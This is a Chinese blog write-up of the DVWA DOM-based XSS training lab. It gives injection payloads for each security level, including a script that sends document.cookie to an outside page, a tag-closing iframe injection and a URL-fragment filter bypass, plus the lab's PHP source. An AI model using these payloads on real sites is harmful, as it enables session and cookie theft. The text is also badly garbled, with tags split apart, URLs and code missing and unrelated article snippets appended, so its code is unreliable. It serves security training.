DVWA(六) XXS DOM跨站攻擊

2022-06-02 15:45:14 字數 3128 閱讀 9439

dom,全稱document object model,是乙個平台和語言都中立的介面,可以使程式和指令碼能夠動態訪問和更新文件的內容、結構以及樣式。dom型xss其實是一種特殊型別的反射型xss,它是基於dom文件物件模型的一種漏洞。

dom與前兩種xss跨站攻擊(反射型、儲存型)不同之處在於:不與後台伺服器有資料

下拉option的形式,檢視html**

<

script

>

if(document.location.href.indexof(

"default=")

>=0)

document.write(

"english");

document.write(

"french");

document.write(

"spanish");

document.write(

"german");

script

>

<

option

value

="english"

>english

option

>

<

option

value

=""disabled

="disabled"

>----

option

>

<

option

value

="english"

>english

option

>

<

option

value

="french"

>french

option

>

<

option

value

="spanish"

>spanish

option

>

<

option

value

="german"

>german

option

>

可以發現四個選項,英語預設選項

發現結構簡單,default=後可以新增指令碼

<

script

>

alert(

"test")

script

>

execute執行發現彈出alert

此時html中多了個選項option

document.location=''+document.cookie;
在default=後新增: <

script

src=""

>

script

>

會發現已經獲取了cookie並儲存在檔案中

發現不行,並不會執行,沒有變化,此時檢視html**,發現並沒有插入到option中,肯定是過濾掉了script標籤

在#之後的不傳到伺服器,可以繞過,所以**變為

<

script

src=""

>

script

>

嘗試iframe標籤

<

iframe

onload

>

發現選項變了,但是沒執行,檢視html**發現只有value,沒有**,缺少閉合

option

>

select

>

<

iframe

onload

>

執行,成功!

<

script

src=""

>

script

>

哦吼,可行!

通過對比伺服器php源**就可以看出剛剛的繞過的依據了。

low:

<?php 

#no protections, anything goes

?>

沒有進行任何處理;

medium:

<?php 

//is there any input?

if ( array_key_exists( "default", $_get ) && !is_null ($_get[ 'default']) )

}?>

先判斷輸入是否空,不空就賦值到default,然後判斷script標籤,大小寫都不管用,因此伺服器繞過和換標籤都可以;

high:

<?php 

//is there any input?

if ( array_key_exists( "default", $_get ) && !is_null ($_get[ 'default']) )

}?>

與伺服器互動,只有跟選項匹配才行,因此使用#輕易繞過;

依舊無解,檢視伺服器php原始碼:

<?php 

#don't need to do anything, protction handled on the client side

?>

後記:發現乙個xss跨站攻擊的**,挺酷的。

跨站指令碼攻擊

跨站指令碼攻擊是眾所周知的攻擊方式之一。所有平台上的web應用都深受其擾,php應用也不例外。所有有輸入的應用都面臨著風險。webmail,code 複製內容到剪貼簿 code 複製php內容到剪貼簿 php echo name writes echo comment 這個流程對 comment及 ...

django csrf 防跨站攻擊

csrf 攻擊原理 django使用 csrfmiddleware 進行csrf防護,原理如下 1.它修改當前處理的請求,向所有的 post 表單增添乙個隱藏的表單字段,使用名稱是 csrfmiddlewaretoken,值為當前會話 id 加上乙個金鑰的雜湊值。如果未設定會話 id 該中介軟體將不...

跨站指令碼攻擊 XSS

跨站指令碼攻擊,cross site script,為了區別css,英文縮寫為xss xss攻擊,通常指hacker通過 html注入 篡改了網頁,插入惡意的指令碼,從而在使用者瀏覽網頁時,控制使用者瀏覽器的一種攻擊。xss根據效果的不同可以分為如下幾類 1.反射型xss 通過將使用者輸入的資料 反...